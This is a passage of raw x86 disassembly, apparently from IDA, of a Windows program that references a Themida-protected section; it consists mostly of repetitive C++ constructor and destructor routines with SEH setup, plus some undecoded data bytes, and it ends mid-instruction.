lea ecx, [esi+499h] mov byte ptr [esp+14h+var_4], 0Fh call sub_401AD2 lea ecx, [esi+450h] mov byte ptr [esp+14h+var_4], 0Eh call sub_401AD2 lea ecx, [esi+407h] mov byte ptr [esp+14h+var_4], 0Dh call sub_401AD2 lea ecx, [esi+3BEh] mov byte ptr [esp+14h+var_4], 0Ch call sub_401AD2 lea ecx, [esi+375h] mov byte ptr [esp+14h+var_4], 0Bh call sub_401AD2 lea ecx, [esi+32Ch] mov byte ptr [esp+14h+var_4], 0Ah call sub_401AD2 lea ecx, [esi+2E3h] mov byte ptr [esp+14h+var_4], 9 call sub_401AD2 lea ecx, [esi+29Ah] mov byte ptr [esp+14h+var_4], 8 call sub_401AD2 lea ecx, [esi+251h] mov byte ptr [esp+14h+var_4], 7 call sub_401AD2 lea ecx, [esi+208h] mov byte ptr [esp+14h+var_4], 6 call sub_401AD2 lea ecx, [esi+1BFh] mov byte ptr [esp+14h+var_4], 5 call sub_401AD2 lea ecx, [esi+176h] mov byte ptr [esp+14h+var_4], 4 call sub_401AD2 lea ecx, [esi+12Dh] mov byte ptr [esp+14h+var_4], 3 call sub_401AD2 lea ecx, [esi+0E4h] mov byte ptr [esp+14h+var_4], 2 call sub_401AD2 mov byte ptr [esp+14h+var_4], 1 lea ecx, [esi+9Bh] call sub_401AD2 lea ecx, [esi+52h] mov byte ptr [esp+14h+var_4], 0 call sub_401AD2 lea ecx, [esi+9] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401AD2 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_417020 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 110h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417540 proc near ; CODE XREF: sub_4014F1j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417540 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+0A3h] mov [esp+14h+var_4], 3 call sub_401023 lea ecx, [esi+75h] mov byte ptr [esp+14h+var_4], 2 call sub_401023 lea ecx, [esi+47h] mov byte ptr [esp+14h+var_4], 1 call sub_401023 lea ecx, [esi+19h] mov byte ptr [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_417540 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4175E0 proc near ; CODE XREF: sub_401E83j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4175E0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+118h] mov [esp+14h+var_4], 5 call sub_401023 lea ecx, [esi+0EAh] mov byte ptr [esp+14h+var_4], 4 call sub_401023 lea ecx, [esi+0BCh] mov byte ptr [esp+14h+var_4], 3 call sub_401023 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401023 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401023 lea ecx, [esi+32h] mov byte ptr [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_4175E0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4176B0 proc near ; CODE XREF: sub_401235j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4176B0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+8D0C0h] mov [esp+14h+var_4], 3 call sub_401023 lea ecx, [esi+8D092h] mov byte ptr [esp+14h+var_4], 2 call sub_401023 lea ecx, [esi+8D064h] mov byte ptr [esp+14h+var_4], 1 call sub_401023 lea ecx, [esi+8D036h] mov byte ptr [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+8D008h] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_4176B0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417770 proc near ; CODE XREF: sub_402216j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417770 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+0EAh] mov [esp+14h+var_4], 4 call sub_401023 lea ecx, [esi+0BCh] mov byte ptr [esp+14h+var_4], 3 call sub_401023 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401023 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401023 lea ecx, [esi+32h] mov byte ptr [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_417770 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417830 proc near ; CODE XREF: sub_401EB0j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417830 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+0EAh] mov [esp+14h+var_4], 4 call sub_401023 lea ecx, [esi+0BCh] mov byte ptr [esp+14h+var_4], 3 call sub_401023 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401023 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401023 lea ecx, [esi+32h] mov byte ptr [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_417830 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4178F0 proc near ; CODE XREF: sub_4018CAj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4178F0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_4178F0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417960 proc near ; CODE XREF: sub_4017D0j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417960 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_417960 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4179D0 proc near ; CODE XREF: sub_401B27j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4179D0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_4179D0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417A40 proc near ; CODE XREF: sub_401F28j add ecx, 4 jmp sub_401023 sub_417A40 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417A60 proc near ; CODE XREF: sub_401113j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417A60 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+60h] mov [esp+14h+var_4], 1 call sub_401023 lea ecx, [esi+32h] mov byte ptr [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_417A60 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417AE0 proc near ; CODE XREF: sub_401DEDj add ecx, 4 jmp sub_401023 sub_417AE0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417B00 proc near ; CODE XREF: sub_401FF5j add ecx, 4 jmp sub_401023 sub_417B00 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417B20 proc near ; CODE XREF: sub_401EE2j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417B20 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+0BCh] mov [esp+14h+var_4], 3 call sub_401023 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401023 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401023 lea ecx, [esi+32h] mov byte ptr [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_417B20 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417BC0 proc near ; CODE XREF: sub_40157Dj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417BC0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401424 lea ecx, [esi+19h] mov [esp+14h+var_4], 0 call sub_401749 lea ecx, [esi+47h] mov byte ptr [esp+14h+var_4], 1 call sub_401749 lea ecx, [esi+75h] mov byte ptr [esp+14h+var_4], 2 call sub_401749 lea ecx, [esi+0A3h] mov byte ptr [esp+14h+var_4], 3 call sub_401749 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E078 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_417BC0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417C60 proc near ; CODE XREF: sub_401645j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417C60 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401749 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401749 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401749 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401749 lea ecx, [esi+0BCh] mov byte ptr [esp+14h+var_4], 3 call sub_401749 lea ecx, [esi+0EAh] mov byte ptr [esp+14h+var_4], 4 call sub_401749 lea ecx, [esi+118h] mov byte ptr [esp+14h+var_4], 5 call sub_401749 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E07C mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_417C60 endp ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417D30 proc near ; CODE XREF: sub_401776j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417D30 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+8D008h] call sub_401749 lea ecx, [esi+8D036h] mov [esp+14h+var_4], 0 call sub_401749 lea ecx, [esi+8D064h] mov byte ptr [esp+14h+var_4], 1 call sub_401749 lea ecx, [esi+8D092h] mov byte ptr [esp+14h+var_4], 2 call sub_401749 lea ecx, [esi+8D0C0h] mov byte ptr [esp+14h+var_4], 3 call sub_401749 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E080 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_417D30 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417DF0 proc near ; CODE XREF: sub_401820j push esi mov esi, ecx call sub_401E6A mov dword ptr [esi], offset off_43E050 mov eax, esi pop esi retn sub_417DF0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417E20 proc near ; CODE XREF: sub_4016B3j push esi mov esi, ecx call sub_401E6A mov dword ptr [esi], offset off_43E05C mov eax, esi pop esi retn sub_417E20 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417E50 proc near ; CODE XREF: sub_401415j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417E50 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401749 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401749 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401749 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401749 lea ecx, [esi+0BCh] mov byte ptr [esp+14h+var_4], 3 call sub_401749 lea ecx, [esi+0EAh] mov byte ptr [esp+14h+var_4], 4 call sub_401749 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E084 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_417E50 endp ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417F10 proc near ; CODE XREF: sub_401302j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417F10 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401749 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401749 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401749 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401749 lea ecx, [esi+0BCh] mov byte ptr [esp+14h+var_4], 3 call sub_401749 lea ecx, [esi+0EAh] mov byte ptr [esp+14h+var_4], 4 call sub_401749 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E088 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_417F10 endp ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417FD0 proc near ; CODE XREF: sub_401271j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417FD0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401749 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401749 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E08C mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_417FD0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418050 proc near ; CODE XREF: sub_401D11j push esi mov esi, ecx call sub_4011B3 mov dword ptr [esi], offset nullsub_10 mov eax, esi pop esi retn sub_418050 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418080 proc near ; CODE XREF: sub_4012FDj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_418080 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401749 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401749 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E094 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_418080 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418100 proc near ; CODE XREF: sub_401A7Dj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_418100 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401749 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401749 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E098 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_418100 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418180 proc near ; CODE XREF: sub_401285j push esi mov esi, ecx call sub_4011B3 lea ecx, [esi+4] call sub_401749 mov dword ptr [esi], offset off_43E09C mov eax, esi pop esi retn sub_418180 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4181B0 proc near ; CODE XREF: sub_401CA3j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4181B0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401749 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401749 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401749 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E0A0 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_4181B0 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418230 proc near ; CODE XREF: sub_401573j push esi mov esi, ecx call sub_4011B3 lea ecx, [esi+4] call sub_401749 mov dword ptr [esi], offset off_43E0A4 mov eax, esi pop esi retn sub_418230 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418260 proc near ; CODE XREF: sub_40178Fj push esi mov esi, ecx call sub_4011B3 lea ecx, [esi+4] call sub_401749 mov dword ptr [esi], offset off_43E0A8 mov eax, esi pop esi retn sub_418260 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418290 proc near ; CODE XREF: sub_401073j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_418290 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401749 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401749 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401749 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401749 lea ecx, [esi+0BCh] mov byte ptr [esp+14h+var_4], 3 call sub_401749 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E0AC mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_418290 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418330 proc near ; CODE XREF: sub_401267j var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch push ebx push ebp mov ebp, dword_50F8D0 push esi mov esi, ecx push edi xor bl, bl mov byte ptr [esi+9FD2Ch], 1 loc_418348: ; CODE XREF: sub_418330+E4j test bl, bl jnz loc_41841E mov al, [esi+8EF74h] test al, al jnz short loc_41835E mov bl, 1 jmp short loc_418372 ; --------------------------------------------------------------------------- loc_41835E: ; CODE XREF: sub_418330+28j lea ecx, [esi+15Fh] call sub_40185C test al, al setz bl test bl, bl jz short loc_418379 loc_418372: ; CODE XREF: sub_418330+2Cj mov byte ptr [esi+9FD2Ch], 0 loc_418379: ; CODE XREF: sub_418330+40j lea ecx, [esp+1Ch+var_C] call sub_402086 lea edi, [esi+9FD83h] lea eax, [esp+1Ch+var_4] push eax mov ecx, edi call sub_401F4B mov ecx, [eax] lea edx, [esp+1Ch+var_8] mov [esp+1Ch+var_C], ecx push edx mov ecx, edi call sub_401311 push eax lea ecx, [esp+20h+var_C] call sub_4016F9 test al, al jz short loc_4183FE loc_4183B4: ; CODE XREF: sub_418330+CCj lea ecx, [esp+1Ch+var_C] call sub_402211 mov ecx, [eax] call sub_401744 lea ecx, [esp+1Ch+var_C] call sub_402211 mov eax, [eax] test eax, eax jz short loc_4183DB mov edx, [eax] push 1 mov ecx, eax call dword ptr [edx] loc_4183DB: ; CODE XREF: sub_418330+A1j lea ecx, [esp+1Ch+var_C] call sub_401361 lea eax, [esp+1Ch+var_8] mov ecx, edi push eax call sub_401311 push eax lea ecx, [esp+20h+var_C] call sub_4016F9 test al, al jnz short loc_4183B4 loc_4183FE: ; CODE XREF: sub_418330+82j mov ecx, edi call sub_4010B9 push 0FAh call ebp mov al, [esi+9FD2Ch] test al, al jnz loc_418348 test bl, bl jz short loc_41842B loc_41841E: ; CODE XREF: sub_418330+1Aj pop edi pop esi pop ebp mov eax, 1 pop ebx add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_41842B: ; CODE XREF: sub_418330+ECj pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 0Ch retn sub_418330 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418490 proc near ; CODE XREF: sub_401767j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_418490 push eax mov large fs:0, esp sub esp, 1A8h push ebx push ebp push esi mov esi, ecx push edi mov ecx, offset byte_4E6ECB mov byte ptr [esi+9FD2Ch], 1 call sub_4010B9 mov eax, [esp+1C4h+arg_4] test eax, eax jz short loc_4184D0 push eax jmp short loc_4184D5 ; --------------------------------------------------------------------------- loc_4184D0: ; CODE XREF: sub_418490+3Bj push offset byte_446F60 loc_4184D5: ; CODE XREF: sub_418490+3Ej lea ecx, [esi+9FD57h] call sub_4015D7 mov edi, [esp+1C4h+arg_0] test edi, edi jz short loc_4184EE push edi jmp short loc_4184F3 ; --------------------------------------------------------------------------- loc_4184EE: ; CODE XREF: sub_418490+59j push offset byte_446F60 loc_4184F3: ; CODE XREF: sub_418490+5Cj lea ecx, [esi+9FD6Ch] call sub_4015D7 push edi lea ecx, [esi+3Eh] call sub_401384 sub_418490 endp ; --------------------------------------------------------------------------- db 8Ah dd 0C0844246h, 468B0F74h, 528E8D43h, 50000001h, 0FE945CE8h dd 244C8DFFh, 2685128h, 0E8000002h, 7169E121h, 8F88E890h dd 8E8DFFFEh, 1BBEh, 0FE92B1E8h, 468E8DFFh, 0E800001Bh dd 0FFFE94AEh, 15FBE8Dh, 0CF8B0000h, 0FE97DFE8h, 0D01D8BFFh dd 680050F8h, 3E8h, 0CF8BD3FFh, 0FE8CB3E8h, 3E868FFh, 0D3FF0000h dd 8448468Ah, 8A0A75C0h, 7C786h, 74C08400h, 318E8D0Bh dd 0E80009FCh, 0FFFE8E48h, 3E868h, 8DD3FF00h, 3F99Eh, 58BE8D00h dd 5300001Ch, 0B2E8CF8Bh, 8BFFFE95h, 8BE7E8CFh, 868AFFFEh dd 77Eh, 0F74C084h, 71C968Dh, 52530000h, 5FE8CF8Bh, 8AFFFE91h dd 7C786h, 74C08400h, 0F7AE8D1Dh, 8B000007h, 0D5E855CFh dd 84FFFE99h, 530B75C0h, 0E8CF8B55h, 0FFFE8EABh, 0AE8D0EEBh dd 7F7h, 0E855CF8Bh, 0FFFE9346h, 7C7868Ah, 0C0840000h dd 468A1B74h, 75C08448h, 0CF8B5514h, 0FE99C7E8h, 74C084FFh dd 90006A08h, 82185DE8h, 98C6E877h, 8E8DFFFEh, 168h, 0FE91B3E8h dd 448D50FFh, 0E8501424h, 0FFFE99E6h, 5008C483h, 0FD2D8E8Dh dd 84C70009h, 1C424h, 0 dd 99B8E800h, 4C8DFFFEh, 84C71024h, 1C024h, 0FFFFFF00h dd 8BBCE8FFh, 9E8DFFFEh, 8EF5Dh, 5DE8CB8Bh, 8DFFFE8Dh dd 8F2478Eh, 8D52E800h, 8E8DFFFEh, 1D29h, 0FE96F2E8h, 6F8E8DFFh dd 0E800001Eh, 0FFFE9449h, 0F2858E8Dh, 66E80008h, 8DFFFE8Fh dd 9FA138Eh, 9046E800h, 8E8DFFFEh, 8F3A2h, 0FE9B26E8h dd 738E8DFFh, 0E80009FAh, 0FFFE9783h, 3FE8CB8Bh, 8DFFFE93h dd 9FC428Eh, 9889E800h, 0CF8BFFFEh, 0FE896EE8h, 0BF8E8DFFh dd 0E80008F4h, 0FFFE9525h, 0FB058E8Dh, 9DE80009h, 8DFFFE94h dd 9FAD38Eh, 9802E800h, 8E8DFFFEh, 9FB93h, 0FE925CE8h dd 0CD8E8DFFh, 0E80009FBh, 0FFFE9931h, 0FBFF8E8Dh, 0C6E80009h dd 8BFFFE94h, 8B41E8CEh, 8E8DFFFEh, 8F270h, 11E8F88Bh dd 8BFFFE90h, 900AE8CBh, 0D9E8FFFEh, 90FFFE93h, 69BCE3E8h dd 42468A71h, 0B74C084h, 1528E8Dh, 83E80000h, 8BFFFE95h dd 1B8248Ch, 0C78B0000h, 5B5D5E5Fh, 0D8964h, 81000000h dd 1B4C4h, 8C200h, 3 dup(90909090h), 30h dup(0CCCCCCCCh) ; --------------------------------------------------------------------------- locret_418840: ; CODE XREF: ___:00402202j retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_418860: ; CODE XREF: ___:00401EC4j mov eax, [esp+0Ch] push 0 push eax mov ecx, offset dword_447148 call sub_401767 ; --------------------------------------------------------------------------- retn 10h ; --------------------------------------------------------------------------- db 0Ch dup(90h) byte_418880 db 10h dup(0CCh) ; DATA XREF: Themida_:005D32DEo ; Themida_:005D32E2o ... ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418890 proc near ; CODE XREF: sub_401B09j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_4021BC mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_401622 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_40142E mov edx, [esi+4] mov ecx, esi push edx call sub_4020E5 sub_418890 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418900 proc near ; CODE XREF: sub_401AFAj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_40139D sub_418900 endp ; --------------------------------------------------------------------------- mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418940 proc near ; CODE XREF: sub_4021DAj var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_401311 mov 